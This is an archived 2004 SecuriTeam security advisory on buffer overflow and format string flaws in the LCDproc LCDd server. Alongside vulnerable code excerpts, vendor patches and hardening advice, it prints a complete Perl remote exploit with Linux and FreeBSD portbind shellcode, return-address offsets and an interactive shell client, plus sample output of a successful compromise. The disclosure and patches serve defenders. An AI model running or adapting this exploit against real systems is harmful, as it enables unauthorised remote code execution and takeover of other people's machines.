[UNIX] LCDproc Buffer Overflow and Format String Vulnerabilities (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 04/15/04

  • Next message: SecuriTeam: "[EXPL] Utility Manager Local Privileges Escalation Exploit"
    To: list@securiteam.com
    Date: 15 Apr 2004 20:15:38 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      LCDproc Buffer Overflow and Format String Vulnerabilities (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

     <http://lcdproc.omnipotent.net> LCDproc is "a software that displays
    real-time system information from your Linux/*BSD box on a LCD. The server
    supports several serial devices: Matrix Orbital, Crystal Fontz, Bayrad,
    LB216, LCDM001 (kernelconcepts.de), Wirz-SLI, Cwlinux(.com) and
    PIC-an-LCD; and some devices connected to the LPT port: HD44780, STV5730,
    T6963, SED1520 and SED1330. Various clients that display things such as
    CPU load, system load, memory usage, uptime, and a lot more, are
    available".

    A remote exploitable buffer overflow that allows remote users to execute
    an arbitrary code was found on LCDd server. The problem appears on
    function parse_all_client_messages() of parse.c file, a loop does not
    check if MAXARGUMENTS were reached, causing the program to crash when lots
    of arguments are passed to the function. In addition multiple bugs were
    found on LCDd server that allow remote users to execute arbitrary code.

    DETAILS

    Vulnerable Systems:
     * LCDproc versions 0.4.x up to (and including) 0.4.4
     * LCDproc version CVS HEAD (0.5) before current

    Immune Systems:
     * LCDproc version 0.3.x

    Problem 1:
    Function parse_all_client_messages() on parse.c file.

     if (invalid) {
      // FIXME: Check for buffer overflows here...
      sprintf (errmsg, "huh? Invalid command \"%s\"\n", argv[0]);
      sock_send_string (c->sock, errmsg);
     }
            
    Sending an invalid long command, we overflow "errmsg" buffer, gaining
    control of the EIP register.

    Problem 2:
    Function test_func_func() on client_functions.c.

     int
     test_func_func (client * c, int argc, char **argv)
     {
      int i;
      char str[256];

      for (i = 0; i < argc; i++) {
       sprintf (str, "test_func_func: %i -> %s\n", i, argv[i]);
       printf (str);
       sock_send_string (c->sock, str);
      }
      return 0;
     }

    Sending a long argv on test_func command will cause an overflow on "str"
    buffer.

    Problem 3:
    On same function above, it is possible to exploit a format string bug on
    print(str);

    Vendor status:
    LCDproc 0.4.5 has been released to fix the issues described and is
    available from the project website or from SourceForge.net. It is
    recommended that all users upgrade to this version.

    Similar patches have been committed to the CVS HEAD branch. It is
    recommended that all users of this development version upgrade their
    systems after running "cvs update -Pd" in the toplevel directory of the
    source tree.

    Technical discussion - patches:
    - LCDproc version 0.4.4

    The patch provided by the original posting fails to fix the issue it tries
    to resolve and doesn't address another vulnerability.

    With the original patch the counter i of the loop inside
    parse_all_client_messages() in server/parse.c reaches MAX_ARGUMENTS which
    already leads to an overflow.

     ===================================================================
    RCS file: /cvsroot/lcdproc/lcdproc/server/parse.c,v
    retrieving revision 1.10.2.2
    diff -u -r1.10.2.2 parse.c
    -- server/parse.c 29 Dec 2001 15:28:40 -0000 1.10.2.2
    +++ server/parse.c 13 Apr 2004 18:07:22 -0000
    @@ -158,7 +158,7 @@
      
      
                                            argc++;
    - } while (*p);
    + } while (*p && i < MAX_ARGUMENTS - 1);
      
                                    /*debug(RPT_DEBUG, "exiting string
    scan...");*/
     
    The format string vulnerability inside test_func_func() in
    server/client_functions.c is not addressed for LCDproc 0.4.4.

     ===================================================================
    RCS file: /cvsroot/lcdproc/lcdproc/server/Attic/client_functions.c,v
    retrieving revision 1.19.2.12
    diff -u -r1.19.2.12 client_functions.c
    -- server/client_functions.c 10 Apr 2002 12:35:54 -0000 1.19.2.12
    +++ server/client_functions.c 13 Apr 2004 18:08:59 -0000
    @@ -94,7 +94,7 @@
      
            for (i = 0; i < argc; i++) {
                    snprintf (str, sizeof(str), "test_func_func: %i ->
    %s\n", i, argv[i]);
    - report (RPT_INFO, str);
    + report (RPT_INFO, "%s", str);
                    sock_send_string (c->sock, str);
            }
            return 0;

    - LCDproc CVS HEAD branch (also known as 0.5)

    The corresponding patches:

    Index: server/parse.c
     ===================================================================
    RCS file: /cvsroot/lcdproc/lcdproc/server/parse.c,v
    retrieving revision 1.16
    diff -u -r1.16 parse.c
    -- server/parse.c 17 Jul 2002 22:09:06 -0000 1.16
    +++ server/parse.c 13 Apr 2004 18:10:52 -0000
    @@ -154,7 +154,7 @@
                                                                               
         
                                                                               
         
                                    argc++;
    - } while (*p);
    + } while (*p && i < MAX_ARGUMENTS - 1);
                                                                               
         
                            /*debug(RPT_DEBUG, "exiting string scan...");*/
                                                                               
         
    Index: server/commands/client_commands.c
     ===================================================================
    RCS file: /cvsroot/lcdproc/lcdproc/server/commands/client_commands.c,v
    retrieving revision 1.3
    diff -u -r1.3 client_commands.c
    -- server/commands/client_commands.c 14 Jul 2002 20:30:35 -0000
    1.3
    +++ server/commands/client_commands.c 13 Apr 2004 18:10:53 -0000
    @@ -45,7 +45,7 @@
                                                                               
         
            for (i = 0; i < argc; i++) {
                    snprintf (str, sizeof(str), "%s: %i -> %s\n",
    __FUNCTION__, i,
    argv[i]);
    - report (RPT_INFO, str);
    + report (RPT_INFO, "%s", str);
                    sock_send_string (c->sock, str);
            }
            return 0;

    Additional instructions:
    Apart from upgrading, users of LCDproc can improve security by acting
    according to the following instructions.

    It is highly recommended that users leave the default

      Bind=127.0.0.1

    setting in their LCDd.conf ([server] section) and use third-party tools
    like stunnel or ssh to allow secure, encrypted connections to LCDd from
    remote systems.

    The default

      User=nobody

    is already reasonably secure, but a few notes are neccessary. To drop
    priviledges by changing to the supplied user id, LCDd needs root
    priviledges on startup.

    For parrallel port devices this is not possible since root priviledges are
    neccessary to access the parallel port on most *NIX systems.

    It should also be noted that the choice of "nobody" is not optimal. The
    "nobody" account can be found in most default *NIX installations and is
    typically used by programs that are supposed to have very limited access
    to the system. This makes it very likely that other programs run as
    "nobody" already, giving LCDd access to their data (if any) and the
    possibility to kill those processes etc. if it also runs as "nobody".

    Users should create a new, separate user account solely for LCDd for
    maximum security in this respect.

    Exploit:
    #!/usr/bin/perl
    # Priv8security.com remote exploit for lcdproc server version 0.4.4 and
    lower.
    #
    # Vendor Url: http://lcdproc.omnipotent.net/
    # Play with offset "-o" to get shell.
    #
    # [wsxz@localhost wsxz]$ perl priv8lcd44.pl -h localhost -t 0
    #
    # -=[ Priv8security.com LCDproc Server 0.4.4 and lower remote exploit ]=-
    #
    # Connected!
    # [+] Using address: 0xbfffd904
    # [+] Checking version... 0.4.4
    # [+] Sending stuff... Done!
    # [+] Do we got a shell?
    # [+] Enjoy your stay on this server =)
    #
    # ****** Welcome to 'localhost' ******
    #
    # Linux localhost.localdomain 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST
    2003
    # i686 unknown unknown GNU/Linux
    # uid=503(wsxz) gid=503(wsxz) groups=503(wsxz),13(news)
    #
    ################################################################################

    use IO::Socket;
    use Getopt::Std; getopts('h:p:t:o:', \%args);

    if (defined($args{'h'})) { $host = $args{'h'}; }
    if (defined($args{'p'})) { $port = $args{'p'}; }else{$port = 13666;}
    if (defined($args{'t'})) { $system = $args{'t'}; }
    if (defined($args{'o'})) { $offset = $args{'o'}; }else{$offset = 0;}

    print "\n-=[ Priv8security.com LCDproc Server 0.4.4 and lower remote
    exploit ]=-\n\n";
    if(!defined($host)){
    print "Usage:
            -h <host>
     -p port <default 13666>
     -t target:
         0 - linux
         1 - freebsd
     -o <offset>\n\n";
    exit(1);
    }

    #Priv8 portbind shellcode by Ramon de Carvalho
    $shellinux =
    "\x31\xdb\xf7\xe3\x53\x43\x53\x6a".
    "\x02\x89\xe1\xb0\x66\xcd\x80\xff".
    "\x49\x02\x6a\x10\x51\x50\x89\xe1".
    "\x43\xb0\x66\xcd\x80\x89\x41\x04".
    "\xb3\x04\xb0\x66\xcd\x80\x43\xb0".
    "\x66\xcd\x80\x59\x93\xb0\x3f\xcd".
    "\x80\x49\x79\xf9\x68\x2f\x2f\x73".
    "\x68\x68\x2f\x62\x69\x6e\x89\xe3".
    "\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
    #Priv8 portbind shellcode by Ramon de Carvalho
    $shellfree =
    "\x31\xc0\x50\x6a\x01\x6a\x02\x89".
    "\xe7\x50\xb0\x61\xcd\x80\xff\x4f".
    "\x02\x6a\x10\x57\x50\x50\xb0\x68".
    "\xcd\x80\x89\x47\xf4\xb0\x6a\xcd".
    "\x80\xb0\x1e\xcd\x80\x50\x50\xb0".
    "\x5a\xcd\x80\xff\x4f\xec\x79\xf7".
    "\x50\x68\x2f\x2f\x73\x68\x68\x2f".
    "\x62\x69\x6e\x89\xe3\x50\x54\x53".
    "\x50\xb0\x3b\xcd\x80";

    if($system == 1 ){#freebsd buffer
      $ret = 0xbfbfde58 - $offset;
      $retb = $ret - 0x0808b1e6;
      $shellcode = $shellinux;
    }
    if($system == 0){#linux buffer
      $ret = 0xbfffd904 - $offset; #for ver 0.4.3
      $retb = $ret - 0x0807057e;
      $shellcode = $shellinux;
    }

      $new_ret = pack('l', ($retb));
      $buffer = "priv8_func ";
      $buffer .= "\x90" x (3000 - length($shellcode));
      $buffer .= $shellcode;
      $buffer .= (" \xe8" . $new_ret) x 264;

    $sock = IO::Socket::INET->new(Proto=>"tcp",
    PeerHost=>$host,PeerPort=>$port,Type=>SOCK_STREAM,Reuse=>1)
    or die "[-] Cant connect\n";

      print "Connected!\n";
      print "[+] Using address: 0x", sprintf('%lx',($ret)), "\n";
      print STDERR "[+] Checking version...";
      print $sock "hello";
      $sock->recv($awser,25);
      $ver = substr($awser,16,5);
      print STDERR " $ver\n";
      print STDERR "[+] Sending stuff... ";
      sleep(2);
      print $sock "$buffer\n";
      print STDERR "Done!\n";
      print "[+] Do we got a shell?\n";

      sleep(3);

    $sc = IO::Socket::INET->new(Proto=>"tcp",
    PeerHost=>$host,PeerPort=>65535,Type=>SOCK_STREAM,Reuse=>1)
    or die "[-] No luck, try other offset.\n";

      print "[+] Enjoy your stay on this server =)\n";

      $sc->autoflush(1);

      print $sc "echo;echo \"****** Welcome to '`hostname`' ******\"\n";
      print $sc "echo;uname -a;id;echo\n";

      die "cant fork: $!" unless defined($pid = fork());

      if ($pid) {
          while(defined ($line = <$sc>)) {
              print STDOUT $line;
          }
          kill("TERM", $pid);
      }
      else
      {
          while(defined ($line = <STDIN>)) {
              print $sc $line;
          }
      }
      close($sc);
      print "Good bye!!\n";

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:security@priv8security.com>
    Adriano Lima and <mailto:reenoo@gmx.de> Rene Wagner.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] Utility Manager Local Privileges Escalation Exploit"

    Relevant Pages

    • security-basics Digest of: get.123_145
      ... VPN to ASP a security risk? ... Re: Multiple IPSec tunnels? ... Subject: Security NT Server ... VPN to ASP a security risk? ...
      (Security-Basics)
    • << SBS News of the week - Sept 26 >>
      ... And he points to the info you need to put the file on the server in the ... at the network perimeter. ... The Symantec Firewall/VPN and the Gateway Security ... by the firewall at risk. ...
      (microsoft.public.backoffice.smallbiz2000)
    • Re: << SBS News of the week - Sept 26 >>
      ... > And he points to the info you need to put the file on the server in the ... > at the network perimeter. ... The Symantec Firewall/VPN and the Gateway Security ... An attacker can exploit these flaws in tandem via specially ...
      (microsoft.public.backoffice.smallbiz2000)
    • << SBS News of the week - Sept 26 >>
      ... And he points to the info you need to put the file on the server in the ... at the network perimeter. ... The Symantec Firewall/VPN and the Gateway Security ... by the firewall at risk. ...
      (microsoft.public.windows.server.sbs)
    • Re: << SBS News of the week - Sept 26 >>
      ... > And he points to the info you need to put the file on the server in the ... > at the network perimeter. ... The Symantec Firewall/VPN and the Gateway Security ... An attacker can exploit these flaws in tandem via specially ...
      (microsoft.public.windows.server.sbs)